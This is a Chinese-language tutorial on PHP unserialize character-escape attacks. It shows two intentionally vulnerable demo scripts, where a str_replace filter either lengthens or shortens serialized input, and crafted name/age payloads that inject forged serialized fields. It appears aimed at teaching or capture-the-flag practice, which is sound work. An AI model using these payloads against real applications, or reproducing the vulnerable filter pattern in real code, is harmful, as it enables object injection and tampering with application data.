产生条件:
- 需要存在两个可控点
- 给的"正则匹配"或过滤存在改变字符数量的规则
利用方法:
- 先找到两个可控点,进行简单的序列化输出,以便进行比对
- 找到序列化值中可控点位置,并判断需要吞掉或挤掉的字符
- 吞掉字符数:从第一个可控点的最后一个单引号或双引号吞到第二个可控点的第一个单引号或双引号,最后通过 ;"进行序列化payload
- 挤掉字符数:从第一个可控点的最后一个单引号或双引号到最后
(1).过滤后字符增多
<?php
function change($str){
return str_replace("-","--",$str);
}
$name = $_GET['name'];
$age = "tangyuan";
$arr = array($name,$age);
echo "反序列化字符串:";
echo serialize($arr);
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
$new = unserialize($old);
var_dump($new);
echo "<br/>此时,age=$new[1]";
传入name=-2211,这时未经过滤的序列化值为:a:2:{i:0;s:5:"-2211";i:1;s:8:"tangyuan";}
经过change过滤后:a:2:{i:0;s:5:"--2211";i:1;s:8:"tangyuan";}
原本的-就变成了--,但长度还是5,所以没找到闭合导致反系列化错误
当我们传入name=--------------------mao";i:1;s:6:"woaini";}
产生的原序列化值为:a:2:{i:0;s:43:"--------------------mao";i:1;s:6:"woaini";}";i:1;s:8:"tangyuan";}
过滤后的序列化值为:a:2:{i:0;s:43:"----------------------------------------mao";i:1;s:6:"woaini";}";i:1;s:8:"tangyuan";}
因为长度只有43,所以最后的要反序列化后的值变为:
a:2:{i:0;s:43:"----------------------------------------mao";i:1;s:6:"woaini";}
当我们将可控点引号后的值变为带有危险的payload时就实现了
(2).过滤字符减少
<?php
function change($str){
return str_replace("--","-",$str);
}
$arr['name'] = $_GET['name'];
$arr['age'] = $_GET['age'];
echo "反序列化字符串:";
echo serialize($arr);
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
echo $old;
echo "<br/>";
$new = unserialize($old);
echo $new;
echo "<br/>此时,age=";
echo $new['age'];
传入name=--2211&age=tangyuan时,未经过滤的序列化值为:
a:2:{s:4:"name";s:6:"--2211";s:3:"age";s:8:"tangyuan";}
经过序列化过滤后的序列化值为: {s:4:"name";s:6:"-2211";s:3:"age";s:8:"tangyuan";}
原本的--就变成了-,但长度还是6,所以没找到闭合导致反系列化错误
当传入:name=2211&age=";s:3:"age";s:8:"tangyuan";} 时,
我们要想让 a:2:{s:4:"name";s:4:"2211";s:3:"age";s:28:"";s:3:"age";s:8:"tangyuan";}";} 红色字体逃逸就需要吞掉紫色部分:
当传入:name=------------------------------------2211&age=";s:3:"age";s:8:"tangyuan";}
产生的原序列化值为:
a:2:{s:4:"name";s:40:"------------------------------------2211";s:3:"age";s:28:"";s:3:"age";s:8:"tangyuan";}";}
过滤后的序列化值为:
a:2:{s:4:"name";s:40:"------------------2211";s:3:"age";s:28:"";s:3:"age";s:8:"tangyuan";}";}
最终要反序列化的值变为了a:2:{s:4:"name";s:40:"{xxx红色部分}";s:3:"age";s:8:"tangyuan";}";}
我们只要把我们想要的危险部分放到第二个可控点上就行了